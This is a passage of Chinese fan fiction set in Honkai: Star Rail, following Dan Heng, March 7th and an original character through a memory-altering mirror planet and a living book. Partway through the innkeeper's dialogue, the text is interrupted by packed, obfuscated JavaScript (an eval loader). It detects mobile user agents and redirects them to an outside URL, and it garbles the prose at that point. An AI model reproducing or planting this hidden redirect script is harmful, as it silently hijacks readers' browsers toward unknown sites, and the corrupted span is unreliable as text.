“那没有生育器官就能让女主怀孕的男主——”话还没说完,书本就已经猜到了有初四想问什么了,先一步回答:“架空世界观,很神奇吧?” 有初四:“我明白了,你在拖延时间。” 本来只是随口一说,毕竟突然的健谈和话唠实在太过可疑,但没想到书本还真因为他这句话而沉默了。 他睁大眼睛,手里又把木签捏出来,死死地盯着头上那片天空,“你不要和我说,丹恒和三月出什么意外了。” 书本暗骂这家伙真是该死的敏锐,看见那只拿着签的手隐隐冒着青筋,还是没撑过多久就又怂了。他也想直接把这人踢出去啊,可出口就在本体上,就是那个小姑娘抱着的,要是被发现还有一个同伴迟迟不出来,他恐怕死的不是很好看。 这位性格独特的奇物先生,还不想在被创造出来的短短半个琥珀纪就被粗暴的摧毁。 “没有没有!”书本生怕自己回答慢一秒这位祖宗又要开始毁天灭地了,“只是那个叫丹恒的,他不小心在我开幻灯片的时候被甩到我的底层代码里面了!” 此时的丹恒,看着周围的一圈文字陷入了沉思。 一个系统时前…… 丹恒是被一道尖锐的笑声吵醒的,还伴随着让人头疼欲裂的耳语。 他捂着头坐了起来,胀痛感像是要在脑袋里炸开。 好痛…… 仿佛无处不在的耳语穿过丹恒捂住耳朵的手直钻进脑海里。 “让我们在剧本里加一点点的对话,适量的狗血会成为很好的调味剂,创意是必不可少的——诶呀,不小心加多了,打斗情节能调起观众的兴奋,最好创造出一个宿敌,最后~好的剧本怎么能没有一个塑造好的主角呢?” “啊,不小心全都撒出来了!” “谁说主角就只能是塑造好的,只要有梦想,连一个npc都能成为主角!不论是谁都有机会!” 尖利的声音分辨不出性别,简直是要把他的脑子给捅破了。 突然,声音安静了下来,丹恒的头疼也渐渐缓解,才有余力观察周围,围绕着他的,是数不清的文字绸缎,其中一段发现了他的目光后还停滞了一瞬,随后害羞一般的缩成一团,蹿进了一片黑暗中。 丹恒:“……”说实话看着它们这么灵活的游走,有种莫名的恶寒感。 此时一段文字在他面前显现。 “居然偷看别人生孩子,真是冒昧的家伙!” 丹恒:? 然后他就□□脆利落地踢了出去,天旋地转之间,突然有什么东西拎住了他的后领,脚下还被无形的地板给托了起来,好让他不会被领口卡住脖子,丹恒手里悄然出现了一抹金色的光芒,他不动声色,知道自己这是触发了保护机制。 而书本小心翼翼地接住了人之后,又小心翼翼地准备把人和有初四一起送出去。 此时双方都非常的紧张,直到见到了有初四。 黑发蓝眼的青年正缩在透明箱子里,面无表情地把玩着手里的签,也不知道是不是书本忘了,装他的箱子只能让他一一个难受的姿势坐着,还对脖子非常的不友好,想要舒服点就只能蜷缩起来。 在看见一个熟悉的人影出现后,有初四手抖了一下,签子掉在了脚下,书本紧张地看着,生怕那支签出了什么差错,而有初四双手贴在透明的空气墙上,仰头看着被送过来高他一头的丹恒,笑着说:“丹恒,你这下看起来高多了。” 丹恒简直服了现在这种情况还能开他身高玩笑的有初四,无奈道:“我还在生长期。” 他目光一移,看到了有初四手上已经结疤的伤口,看形状像是咬出来的,“你的手怎么了?” “啊这个。”有初四毫不犹豫,“我自己咬的。” 11.他因何而哭泣? 被丢出来的感觉并不好受,有初四还是头朝下掉出来的,狠狠地磕在了地板上。 “……” “小四!”三月七惊呼一声把他扶起来,担忧地去看他的脑袋,出乎意料的,居然没事。 在她的认知里,小伙伴的脑袋备受欢迎,特指什么伤害都喜欢往上砸,而且通常都会见血。 三月七感叹地摸摸有初四的头:“小四,你的脑袋终于进化了吗?” 什么进化?头铁吗? 丹恒理着自己的衣领,看着有初四完好无损的脑袋若有所思。 有初四:“……别这么看着我的脑袋啊,又不是什么奇物。” 三月七和丹恒同时想起了有初四出场就用脑袋把列车顶戳个窟窿。 “那可真不一定……”粉发的少女自言自语。 互相交换了情报,在丹恒说到自己把假扮成三月七的人喉咙戳了个对穿后,三月七捂嘴:“一开始就下死手的吗?” “不,那个也是假的,根据那时候的情况来看,我的枪戳在他身上也造成不了什么伤害。” “造成不了伤害……什么意思?” “还记得被包围的时候吗?我们的攻击完全不起作用。”丹恒把目光转向看着书本出神的有初四,“那是初四下下签的效果。” 听到自己名字的有初四转头,“啊?” 丹恒和两人简单说明了一下下下签会带来的效果。 有初四和三月七同时倒吸一口凉气,三月七呆滞地扒拉了一下丹恒,问:“签是来法塔莫日甘之前抽的,现在时间已经过去24系统时了。” 她突然恢复了点精神:“也就是说,就算有副作用,现在也消失了,只要小四在刷新之后没有再抽签,咱就不会被影响!” “……”有初四想起刚才书里搞出来的大阵仗,沉默不语。 三月七的笑容逐渐消失,“你没有抽签,对吧?” 有初四瞄了一眼自己的面板,往下拉有一个debuff。 【负面】队伍全员伤害减少90%。 “百分之九十啊!!”三月七握住有初四的肩膀疯狂摇晃。 想想看吧,这个危机四伏的星球,刚刚还从书本里险险逃生,在外面迎接他们的还不知道是怎样的危险,这种情况全员伤害减少90%,这让她怎么励志啊?! “队伍里,那只要,不在队伍里,就行了——”有初四勉强在狂风暴雨中扣出文字漏洞。 那么问题来了,这个队伍该怎么退出呢? 三月七慢慢冷静下来,她双手叉腰无奈道:“别理所当然的把游戏里的东西带出来啊,现实可没有编队。” 有初四委屈地瘪嘴。 “关于书里的故事,我大概知道是怎么回事了。”不动声色收集了许多情报的丹恒开始整合,观看结局时前面的一大段空白被三月七填补,由此可以推测出一个不完整的故事。 “首先可以肯定的是,我们的记忆受到了干扰或者修改。” 这颗星球,不,应该说是这个国家中,记忆命途的含量过高,耳边时不时会响起的碎裂声往往是关键。 还有埃洛克死后新上任的教主和敌国的涅因智库中都没有任何记载,许多信息和他来到这里后掌握的情报相反。 “埃洛克在好友死后掀起反叛,教主被引爆大部分地区,但埃洛克却活了下来,并当上了新的教主,但他又接触到了镜子。” 镜子里影响埃洛克精神状态的人影到底是谁还有待商榷,但埃洛克的死因过于诡异,根本就和意外扯不上关系,更像是被设计好的死法。 “突然兴起的镜子装饰和大规模传染的病症,整个国家都和镜子息息相关,很有可能刚开始使用它的人根本就没死。” 在加上他误入的空间的所见所闻,靠谱的智库管理员梳理了所有信息,并得出了一个结论:“故事不完整,而且不单是记忆,欢愉也有所参与。” “欢愉?” 按照智库上的描述,有初四觉得这本书绝对有欢愉,恶趣味几乎要溢出来了。 “我们出去再说吧。”丹恒看着桌子上开始颤抖的书本,“它已经在赶人了。” 三人一起走出了房间,而两人没注意到的是,走在最后面的有初四回头,又看了一下还存在裂痕的书本,蓝眼睛眨了眨,做了一个决定。 纯黑色的空间中,白色的雾气弥漫,一扇金灿灿的门格外显眼。 有初四评价:“看起来像陷阱。” 三月七、丹恒:不用像,这明晃晃的就是陷阱吧…… 不管是不是陷阱,也只有这一个出口了,走进后,突然一道金色的人影显现,丹恒立刻挡在最前面,左手拦在有初四和三月七的身前,右手唤出击云警戒。 “别紧张。” 仿若天边传来的声音在三人耳边响起。 “年轻的无名客们哟,你们掉的,是这个粉色钥匙,还是这个青色的钥匙,亦或者是,这个马赛克——噗!” 还没说完的话被砸过来的木签给予重击,丹恒和三月七都没反应过来,愣愣地看向还保持着投掷姿势的有初四。 有初四:完了,身体自己就动起来了。 ——话说你是有实体的啊?! 场面一度变得非常尴尬,金色人影从地上爬起来,拔出了头上的木签,血呲地一下就冒出来了,流了一脸血的金色人影竖起一个大拇指:“强而有力,强而有力啊!” 装什么,当我面板上的伤害减少百分之九十是摆着好看的? 有初四面无表情地收回姿势,当做无事发生。 而人影并不觉得有什么问题,顶着脑袋上还在流血的窟窿重新拿出三把钥匙,“你们掉的,是哪把钥匙呢?” “……”别因为你速度快我就没看到,你把我木签收起来了吧,是什么有收集癖的变态吗? 想到这里,有初四打了个哆嗦,一下子就缩到了三月七的身后,恨不得整个人都被三月七给挡起来,过了一会儿又悄悄地攀上同伴的肩膀探头,看着人影的眼神像是在估量着什么。 丹恒面不改色地往旁边挪了一步,牢牢把探头探脑的有初四挡住了。 “为什么会有一把马赛克啊……”三月七小声说着,本来只是自言自语,没想到下一秒,那个金色人影就突到了她脸上,把三月七吓的够呛。 “因为这把钥匙代表了某位无名客的过——噗!!” 这位不知名先生为他的恶作剧付出了代价,脑袋上新鲜出炉的冰箭和木签,外加抽到他脸上的长枪。 “咳咳,现在的年轻人,真不经吓。”被抽飞的人影鼻青脸肿地从地上爬了起来,摘下头上的箭和木签,装模作样地顶着脑门上的两个血窟窿,把箭收了起来,看向了一脸警惕的有初四。 有初四看着人影对他露出一个能让人起鸡皮疙瘩的笑容。 他说:“这次就帮你们把门打开吧。”随后把手上的木签抵在唇边,朝三人挥挥手,“谢谢你的酬劳,期待下次再见~” 金色消散,人影已经不见了。 被他临走时着重恶心到的有初四抱住自己狠狠地搓了双臂,神情呆滞:“我,我不干净了……” “唉。”三月七怜爱地虎摸一把有初四的狗头,刚想安慰,又想起来自己的箭也被拿走了,身体僵了一下,欲哭无泪地看向还在看着人影离去方向,在思索些什么的丹恒。 丹恒被两双眼睛可怜兮兮地盯着,无奈地叹了口气。 …… 眼前是熟悉的小巷,但和上次不同的是,追兵已经消失了,他们运气不错,没赶上阴晴不定的时雨时晴,也没遇上寒冷刺骨的夜晚,现在正是太阳照射的白天。 “是我们跟着尼斯去到角落之前的地方!” 三月七刚说完,角落里就钻出来一颗脑袋,正是尼斯,他盯着三人,一脸的不可置信,随后消失在阴影中。 这个反应,就像是知道他们经历了什么,对他们还能好好站在这里感到震惊一样。 丹恒率先冲上去:“追!” 四面八方闪烁着光芒的镜子划过几道人影,忠实地记录着他们的轨迹。 追了很久也没能追上,速度最快冲在前面的有初四突然说:“我想起来了。” “什么?” “我觉得埃洛克和古呐斯的脸很熟悉的原因。”就在刚刚,他想起了有过一面之缘的尼斯的脸,那双眼睛和埃洛克一样,而遮住眼睛,组合其他五官看起来就完全是古呐斯! “是他?”从两人口中得知古呐斯是谁的丹恒疑惑,听有初四的描述,像是把两个人的脸拼在了一起? “噫!有点吓人。”三月七有点起鸡皮疙瘩了。 “或许不是拼接,而是……融合。”丹恒回想尼斯那张脸,埃洛克和古呐斯,两个人的五官都长在了同一张脸上,旅馆的老板短时间内变换那么快,恐怕也是一具身体里塞着几个人。 被追赶的尼斯脚步不乱,前进更带着点明显的目的性。 丹恒:“他刻意引导我们去哪里!”虽然为了不让他们追上而选择弯弯绕绕的岔路,可行动的方向始终都没有变过。 “没办法,他比我们要熟悉这里。”还没来得及探索就遇上了抓捕的开拓者们,简直就是人生地不熟。 “说起来!”三月七奋力追赶着,百思不得其解地看着最前面脚步轻盈的身影,“为什么小四你突然跑得那么快啊?” 呼吸丝毫不乱,和第一次逃跑截然不同的两种状态的有初四回头,冷静地竖起一个大拇指:“无他,惟手熟尔。” 这是哪门子惟手熟尔啊,不仅速度一骑绝尘了体力也变好了,难道说进过一回书里就获得了什么神奇的力量吗? 三月七看了一眼和往常一样的丹恒,没看出什么不一样来,只好先把疑问压在心里。 终点是一栋房子,门是锁上的,整栋房子贴满了细碎的镜子碎片,在阳光的照射下把三人的眼睛都晃了一下。 “怎么办,要暴力破门吗?”三月七揉揉眼睛,“话说我们这是不是私闯民宅啊?这样不太好吧。” 话是这么说,但脸上的跃跃欲试藏都藏不住。 “我来吧。”有初四舔舔唇,上前弯下腰观察,然后比了个没问题的手势,“这种锁并不算高级,可以开。” 丹恒:“……你为什么这么熟练?” “说不定我以前就是干这行的。”有初四开了个玩笑,手上捣鼓几下,门就开了,小小地开了一条缝隙,是黑的,看起来里面没开灯。 三月七目瞪口呆:“道理我都懂,可是你是怎么做到徒手开锁的,甚至都不用工具!不应该像一些电影里一样,用发卡和铁丝之类的吗?!” 有初四停顿了一下,若无其事地站直,拍拍手说:“无他,惟手熟尔。” 三月七:“这个理由你已经用过了,敷衍好歹换一个吧! 青年无辜摊手,“可是我手的动作那么熟练,不就是已经用过很多次了,这个词用在这里没什么不对吧?虽然我自己也不知道什么时候学会的这门技术。” 三月七:“……”小四他以前真的会是什么合法公民吗? “按理说,现在是白天,就算是没开灯也不会黑到这种地步。”虚掩的门又打开了些,里面仍是一片黑暗,丹恒走在了最前面,进到了房子里。 出乎意料的是,从外面所见的黑暗似乎只是一层黑色的膜,房间里的光线很足,布置也很温馨,没有一点诡异的感觉。 【咔嚓——】 在三人进门后的那一刻,镜子碎裂的声音响起,有初四回头去看,却发现门消失了,原本的位置变成了墙壁。 这是个布置简单的屋子,就只有两个书架和一套桌椅,丹恒上前抽出一本书,看封面就是之前他在旅馆翻看的那本。 “这本书讲的是主角意外掉进镜子,镜中的世界和现实世界完全相反,被发现不是镜子里的人后被追杀,然后历尽千辛万苦最后在出口处被杀死了的故事。” 好,好强大的解读能力! “……只是在智库中有记载这本书,因为翻译太像直译了,所以印象比较深刻。” 而且这本书的桥段好耳熟,除了最后的结局,这不就是丹恒转述给他们的尼斯的说辞吗? “原来灵感是从这来的啊……” 而且是连演都不演了之间照抄。 “这本书我看过,所以尼斯说的话我一个字都没信。” 此时身后传来动静,有初四迅速转身,背后却什么都没有,他一惊,不好! 再转头的时候,有初四气地握紧了手里的签,他是走在最后面进来的,可房间里除了他,丹恒和三月七都消失不见了。 “啧,又来这招么。” 幕后的人似乎格外喜欢把他们分开,这是算准了让三人都不敢轻举妄动吗? 这个房间中除了书架和桌椅外,在有初四身侧出现了两扇门,左边那扇门上写着“我是真的出口”,右边那扇门上写着“那扇门说得对”。 其实这种选择题平常有初四一下就能给出答案,可这次…… 他皱眉,这两扇门都一样,不存在真假。 “你说的是真的吗?”有初四决定先尊重一下出题人,去问了左边的门。 “我当然是真的!”那扇门大声回答。 有初四看了它好一会儿,然后点头:“好,我相信你。”说完就毫不犹豫地扭开门把手走了进去。 门:?等等,你不按套路出牌!不应该再问另一扇门问题吗?!别在这种很可能会有陷阱的地方轻易交付信任啊! 门震惊,门恨铁不成钢。 而有初四想的很简单,既然两扇门都一样,随便挑一个就好了,这,就是百战百胜的直觉给他的自信! 百战百胜,指的就是窝在列车上的时候,他靠着一手纸牌抓乌龟赢了所有人,连帕姆都没放过,三月七当时还郑重其事地对最后一名挑战者丹恒说:“在你眼前的,是从无败绩的抓乌龟之王,有初四!” 而最后的结果,自然是丹恒放弃了挣扎,在被逼入死路后选择了认输,其实大家都没想通平时总是抽出下下签的有初四为什么运气还挺好,但也没人细究。 “请胜者发表获奖感言!”三月七把不存在的王冠戴在了有初四的头上,有初四调整了一下皇帝的领带,站在了列车大厅的中央,他清了清嗓子:“我赢了!” 他侧耳倾听,等待欢呼声。 众人也配合地鼓掌,有初四满意地走下奖台,摘下王冠用袖子擦了擦,然后把它戴到了丹恒的头上,“挑战者勇气可嘉,理应受到奖赏!” 于是列车上的所有人,都戴了一把皇帝的王冠,至于帕姆,列车长是从来不会摘下帽子的!所以王冠是放在了帽子上。 丹恒对此评价道,这样一低头不就会掉下来了? 三月七叉腰:列车长的帽子是从不会掉下来的,所以上面的王冠也一样! 这场幼稚的颁奖典礼就此结束,连带着有初四的回忆一起。 在最初打开门的一瞬间,被突然炸开的白光晃了眼睛的有初四眯眼用手遮挡了一下,把手挪开时,入目的是繁华的街道。 碎裂镜片的装饰品,极具风格的建筑物,还有脚下闪着细碎镜片的光,这无疑是他们第一次踏上法塔莫日甘所见到的景象! “来来来,我们合个影!”一片粉色悄然出现,轻巧地拉起还在观察周边的有初四的手臂,“丹恒也来嘛!” 触感和声音是如此真实,但为什么,会觉得有点陌生? “来,茄子!” “咔嚓——” 快门声响起的那一刻,有初四捂住了自己的额头,突然觉得有点晕,他皱着眉头,脑子里突然出现许多杂音,让他几乎头疼欲裂。 “初四!” “唉!小四你怎么了?” 耳边的嗡鸣声过后,是同伴关心的话语,和温柔地扶住他的动作。 “不会是晕跃迁吧?可这都过去那么久了。” “我只是……”只是觉得头好痒,好像要长脑子了。 这个玩笑显然不适合在这个时候开,有初四喘了几口粗气,渐渐安静了下来。 虽然他相信自己的直觉,但以防万一还是问了个问题。 “三月,你知道你放在冰箱里的布丁其实是我吃的吗?” 三月七听到这句话愣了一下,“你在说什么啊,布丁拿到手我就吃了,怎么会放冰箱。” 有初四也愣住了,“那我吃的布丁是?” 在旁边抱着胳膊的丹恒凉凉道:“是我的,因为当时急着去智库查资料,就放在冰箱里了,原来是你吃了。” 有初四表情僵硬,他缓缓捂住脸,朝丹恒忏悔道:“对不起……” “你……”丹恒叹了口气,“想吃说一下就是了。” 是真的,这个熟悉的反应,绝对是真的。 确认了情况后就好办了,有初四立刻就想把发生过的所有事情说出来,很难说没有转移话题的嫌疑,但是丹恒拦住了他。 黑发青年的余光看到四周或忙碌或交谈的人不知何时都停下了,直勾勾地朝他们看来,眼里是一种诡异的狂热和期待。 三月七跟着转头,然后就被吓了一跳:“什么呀,怪渗人的……” 被发现后他们也没有任何收敛,眼神死死地盯着明显不是第一次踏上这片土地的有初四。 “这里不适合说话,我们找个安全的地方。”丹恒不动声色,他发现这些人的动作虽然诡异,但不仅没有任何要攻击的意图,相反所投射过来的眼神,仿佛像是在看什么救世主。 有初四第一时间就想起了旅馆老板,于是三人就在这一整条街道的所有人注视中,警惕而又快速地离开了。 鞋子踩踏在参杂了碎片的地板上发出声响,注视着他们的人原地不动转动着脑袋,似乎要看着他们一直跑下去,但此时晴朗的天气忽然乌云密布,像是提线木偶般的人们忽然被惊醒,在雷落下之时脸上不由自主地露出了恐惧的神色,连忙四散奔逃躲回了房子里。 而奔跑中的三人被突如其来的雨淋了个透心凉。 有初四:“……”他狠狠抹了把脸,觉得这个场景熟悉地可怕。 雨来的又急又猛,很难不让人觉得没有问题,上一秒还在倾盆大雨下一秒又转瞬即逝变成了晴空万里。 好在他们在下一次天变脸之前到达了目的地,旅馆的大门缓缓打开,而站在正中间的旅馆老板依旧面带和上次见面时角度分毫不差的微笑,早已等候多时。 “老板,这到底是怎么回事?”有初四一见到人就是非常直白又毫不客气地问话,他感觉这位旅馆老板知道些什么,与其被动不如主动出击。 老板保持着笑容看了他一会儿,突然说道:“你记得?” 这句话很诡异,在空荡荡的旅馆内回响,地上细碎的镜片星星点点,里面映着许多个老板,就像这话是由不同的人不同的声音同时说出来一样。 有初四鸡皮疙瘩都起来了,又往三月七的身后躲了躲,丹恒挡在他们最前面,时刻准备召唤武器。 老板最终还是没有做什么,只是盯着有初四看了好一会儿,突然说:“法塔莫日甘现在就是一个人的集合体。” 一个人……的? “我,是我们,被囚禁起来的灵魂融在一起,不必要的负面情绪会被打包当做消耗品甚至是喂养某些存在的食物可以随意放弃,我们一直在找他们,但是遍寻不得,他们跑的太快了。” 等等,就这么说出来了?! 【咔嚓——】 碎裂的声音在四周响起,又无声被镜片中的每个人困住,它急切地想要出现,想冲破这个牢笼。 不许说! 然而一个人的意志怎么能抵的过庞大的集体?有可能被拯救的希望死死压过所有恐惧,他们等待了太久也害怕了太久,害怕被抛弃成为养料的一部分,永世不得超生,他们是胆小鬼,不像士兵那样不懈的寻找他们的踪迹,就算长久以来都一无所获,就算是会不小心触怒会他们彻底失去希望,但现在不一样了。 这个人,他记得。 告诉他,告诉他!他记得,他记得! 所有人满怀激动一拥而上,它被压得死死的,再也不能发出任何动静。 老板无视了那些微小的动静,面无表情坦白:“我们希望脱离这个牢笼,也受够了只能有正面情绪不能说谎的日子,为此我们不惜赌上一切,在他们的耳目中请求你们——”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518866|170594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他虽说着“你们”,但看的却是有初四。 “我们请求你们,解决这一切吧。” 老板的请求自然是被答应了,开拓者不会对这类事坐视不理,只是有初四在思考了一段时间后,突然问道:“负面情绪都会被当做消耗品,那你工作的时候也是吗?” “……” 毫无预兆地,老板脸上两行泪流了下来,有初四在这一瞬间仿佛见到了那天晚上,他出门撞见的那个老板。 “你就非得提工作吗?”老板面无表情,但是语气里浓浓的怨气和脸上的眼泪说明了一切,但很快,像是被一只无形的手擦去了一样,老板再次变得平静。 他们这是第一次直面负面情绪是怎么被打包打走的。 只要有工作那怨气就会源源不断,每次都被强迫夺走负面情绪,难以想象老板会是什么感受,怪不得他们恨不得干掉主导者呢。 老板的微笑还没展开一半,他又说:“而且没有工资。”说着他又流下两行清泪,然后又再次变成面无表情。 那很惨了。 “……辛苦了。”虽然还是不明所以的三月七也觉得老板着实可怜,她真心道。 老板这会是成功的笑了,只是笑容中怎么看都有些苦涩,他弯了弯眼睛:“不辛苦,命苦。” 他看了一眼窗外的暴雨,对三人说道:“那位好说话的人不在,可以等这位消停了直接去找他。” 外面的雨似乎下的更大了,雷电仿佛要撕裂天空,寒冷如约而至,似乎要透过缝隙撕扯他们的皮肤,却因这座旅馆被法塔莫日甘的绝大多数记忆严防死守而毫无办法,只好无能狂怒地在附近肆虐了一番,在“他们”即将抓过来时转身离去。 老板无所畏惧,他早就受够了没有工资还要24系统时工作的日子,要是那位要把他直接捏死也算是一种解脱。 他给三人安排了一间没有镜子的房间,所有的镜子都是他,他们的耳目,就算再怎么恨他们也是一体的,很多事情不想听也不想看,但由不得自己。 …… “你的意思是,我们已经在法塔莫日甘待了好几天了,还经历了奇幻书本的冒险,我还是执笔者?!” 三月七概括了有初四所说的事,表情复杂地挠挠头,“可在我的记忆里,我们才刚刚来到法塔莫日甘啊。”她抬脚踩了几下地板。 “连地板都没踩热呢!” “踩热了才奇怪吧。” 三月七叉腰看向丹恒,“只是把常说的凳子替换掉啦!” 有初四看着这一幕,内心终于平静了下来。 “三月,其实我知道你的力量打不出伤害是怎么回事。” “啊?”三月七迷茫,“我的力量,没有伤害?哦——”三月七恍然大悟,“列车上被石头围攻那次!” “不是石头的原因,问题出在我们自己身上?”丹恒接话,随后又问有初四,“是怎么回事?” “因为我的下下签。”有初四说明了一下下下签的副作用,丹恒听后扶额,“我就知道没那么简单。” 三月七整个人都变空白了,她呆呆的问:“伤害降多少?” “百分之九十。” “什么百分之九十?” “是伤害……” “伤害降多少?” 丹恒看不下去了:“给我接受现实啊!” “好吧,其实没什么大不了的!”三月七挠头,“对本姑娘来说这点副作用算不上什么,很多事情不一定非要靠打架来解决的!” 有初四也知道自己的下下签debuff会给通关提高了多少难度,必须得想想办法! “总之先找一下时光机……”回到下车前的时间! “该接受现实的是你啊!” 一番鸡飞狗跳之后,三个人头挨头凑在一起密谋,“那我们现在该怎么破局?” “照初四所说,我大概知道是怎么回事了,如果埃洛克,前教主已经融合在了一起,经常切换的天气就可以看作他们的主导者,但是天气有三种,那就还有一个人。”丹恒沉思,“而且旅馆老板的情况也和融合类似,我有一个猜想,已经毁灭的法塔莫日甘,那些国民真的已经完全死去了吗?” 有没有一种可能,那些死去的人也全都被融合在了一起,否则重建的法塔莫日甘,是怎么做到突然多出来那么多本地人的? “我们的记忆被动了手脚,在初四所说的真正来到法塔莫日甘之前的时候。” 甚至在列车上就被影响到了吗? “而且老板的话有一处问题,某种存在的食物?那我和三月的记忆是不是就和他们一样,被什么东西吞吃了呢?” 三月七起了一身的鸡皮疙瘩,就好像是有什么存在把他们放嘴里过了一遍吃掉了他们的记忆,而他们对此完全不知情。 “初四说我们只是进了一栋房子后一转头的功夫就失散了,他也只是打开了一扇门才来到了这里,流程应该没有什么不同,而且他会觉得头疼,是那个不知名存在已经对初四下手了,但是没成功?” 而且就算是没有实体也没有形态,初四也应当能察觉到的,他在感知这方面格外敏锐。 除非是,无处不在。 “而法塔莫日甘上无处不在的地方,是镜子。” 三月七好奇:“小四为什么能保留记忆呢?” “旅馆老板他们的诉求是被解放,那尼斯呢?他们到底想要得到什么。” 【我想要得到的,当然是属于自己的王国。】 黑暗之中,尼斯站在镜子前,和里面的自己对话。 【那么多年的心血付之一炬,我怎么甘心!重来一次,只要重来一次就好了!】 “……闭嘴吧你,明明都已经快碎了。” 【他们的记忆质量都很高,只要把他们变成我们的一员,一定能让法塔莫日甘再次伟大!】 “我不吃大饼。” 这时镜子中另一个他冒出来了,直接把最开始的那个给挤开了,并笑着说:【我吃两个。】 “所以这就是你们联合起来压制我的原因?” 【你知道的,我必须得到他们的支持】 “献出生命的支持吗,敢对他们动手你是这个。”尼斯比出一个大拇指。 那个叫丹恒的青年暂且不提,能让书本抓去写故事的小姑娘那股寒意也不平凡,更何况是叫有初四的那个人,简直就是个不稳定的定时炸弹,被关了一会儿就要把这里全碎了,谁敢保证只是靠近他有初四就不会敏感肌直接放大招把他们都给超度了? 【你只管答应我,我自有办法。】 镜中人的脸上是如何的自信啊,尼斯打量了他一下,觉得这人虽然和他一个样,但是看起来比他没厉害多少,说不定自己就能把他干掉压下去然后当老大,似乎旁边的那个他也能打的过…… 尼斯恍然大悟,自己好像才是老大! 镜子里你挤我我挤你的两个人一下子僵住了,更早来的那个转头就对着后来者说:【看吧,我就说不能逼太紧,这家伙要前浪拍死后浪了。】 瞬间镇压了两人的尼斯并不知道发生了什么,只是坐在最核心空间的小位置上,看着桌上正在缓慢旋转的璀璨球体发呆,他思考了很久,似乎想通了自己为什么突然能力压两人直接翻身做主,眼神莫名黯淡了一瞬,他垂下眼独自坐着,似乎在享受着最后一刻的安静,而这份难得的安静,是他自己争来的,也是他唯一一次反抗成功。 …… 房间里的几人正在思索到底要怎么解决问题,问题的源头特别善于逃跑,追了那么久的本地人都毫无办法,而他们又该怎么找到他? 这时房门被敲了敲,老板的声音从门外响起:“你们可以出发了。” 丹恒意识到了什么,上前两步推开了窗户,阳光从云层中探出,柔和的风吹过,带走那股连绵不绝的寒冷和潮湿。 天晴了。 …… 当三人踏出旅馆的时候,尼斯正在思考着一些很重要的事情,外来者自称是无名客,不会坐视不理,这听起来像是中立善良阵营,那在对他们进行了威胁,恐吓,欺骗,关押甚至试图消灭这种及其不做人的行为后,这些中立善良的无名客们还愿意帮助他们吗? 尼斯已经开始汗流浃背了。 他开始疯狂在记忆中翻找些有用的信息作为馈赠,却在翻到自己的那份记忆后愣了一下。 在层层叠叠的碎片中,最中心唯一一片没有被污染的净地,那是一张格外陌生的面孔,确熟悉得像是以前日日都见过。 ……埃洛克? 那是最初的载体复生后,唯一一枚嵌在心里的碎片。 居然没有被记忆污染吗? 他们都知道镜子具有传染性,但是有了明显被剪掉的一片空白后,那片镜子反而干净了,他这才知道镜子本来的样子到底是什么样的,如那三个无名客刚踏上这里时所揭穿他的话,镜子里的所有已经暴露了一切。 尼斯的手贴了过去,仔细凝望镜中的自己,深蓝色的眼眸中映出了一张脸。 这就是他的真实。 …… 虽然说要去找造成法塔莫日甘现在这幅样子的罪魁祸首,但是在周围人蕴含着及其沉重的期待的目光下,三月七颇有压力,像是察觉到了被注视者的不自在,来来往往的人都避开了他们,自觉地离去。 阳光在为他们引路,到了一处无人的小巷时,便悄然散开。 丹恒不完全相信旅馆老板的一面之词,仍对尼斯抱有警惕。 有初四低头看了看脚下难得没有镜子的地板,笑了一下:“不会又要掉下去吧?” 话音刚落,下一秒有初四的脚底下就出现一个黑洞,他的笑容僵住了,在即将落下去的那一刻一只手伸过来过来抓住了他的手臂。 “怎么可能让你得逞第二次。”丹恒的脸色非常难看,同伴被无声无息地带走自己却毫不知情这种事情,有一次就够了! “下面有东西在拉小四!”三月七奋力地拉着有初四另一只手,纹丝不动,反而越来越往下,被上下拉扯的当事人提议,“要不然还是松手吧,会被一起拉下去的。” 三月七和丹恒异口同声:“那就一起被拉下去!” 12.为什么后来者居上 三人一起掉进黑洞里,有初四是臀部落地的。 【++疼痛】 “痛——”有初四庆幸掉下来的地方并不是很深,要不然他骨头都能摔碎。 他揉了揉臀部,眼泪在眼眶里晕开湿意,旁边的丹恒伸手把他扶起来,刚站稳,不远处就投下一道光,照亮了中央双手支撑在桌面上的人,正是尼斯。 桌子正中央还漂浮着一个球体,球体上闪着细碎的光,看起来就像是缩小的法塔莫日甘。 “不用怀疑,不是你随口一句话猜中了,而是我直接把你拉了进来。” 谢谢你,让我对自己的运气认知没有走向错误的方向。 “就是出乎意料的多了几个人。”尼斯隐晦地看着被有初四一起带进来的三月七和丹恒。 “又想分开我们,让单纯的小四独自面对你,才不会让你得逞!”三月七叉腰上前一步半挡在有初四前面,手上的力量蠢蠢欲动,毕竟这可是最终boss,得谨慎些! 尼斯复杂地看了一眼有初四,“单纯?”一言不合就想把法塔莫日甘毁灭的单纯吗。 有初四理直气壮:“单纯的邪恶也是单纯!” “……”被他的一句话镇住,尼斯反而不知道该说什么了。 “说出你的目的。”丹恒很少有这么咄咄逼人的时候,他本无意挑起争端,但尼斯一而再再而三的触碰到他的底线。 尼斯长叹一口气:“要和你说话还得征求你家长的同意吗。” “有什么话是必须要和我说的?”有初四真心实意地发问,毕竟自己身上也没有什么特殊的地方。 “因为所有的一切,只会有你记得。” “……什么意思?” “从被拉入第二面镜子的时候,理应所有的记忆都会被留在上一次的镜子里,镜子会留下一切,但是你没有,你还记得。” 有初四想起了被镜兵拉走那时候被狠敲的那一下,好像就是从那时候把意志加到了最高。 他默默在心里的小本本上划掉了这笔账。 “而且不到一个系统时就能发现隐藏的快速通关方法来到我面前,智慧与勇气并存,你有资格知道这一切。” “……不用提醒我以为自己是误打误撞猜对了。” 尼斯惊讶:“不,你怎么会这么想?我指的是你进那栋房子的所作所为。” 智慧原来指的是开锁技能吗? 而且这已经不是有没有资格了,是只会有他记得一切,尼斯根本是没得选吧! “所以你到底想干什么?” 像是根本没听到又或是直接无视了,就在三人已经忍不住动手的时候,尼斯面容平静地开始诉说:“这就是一个,很长的故事了……” 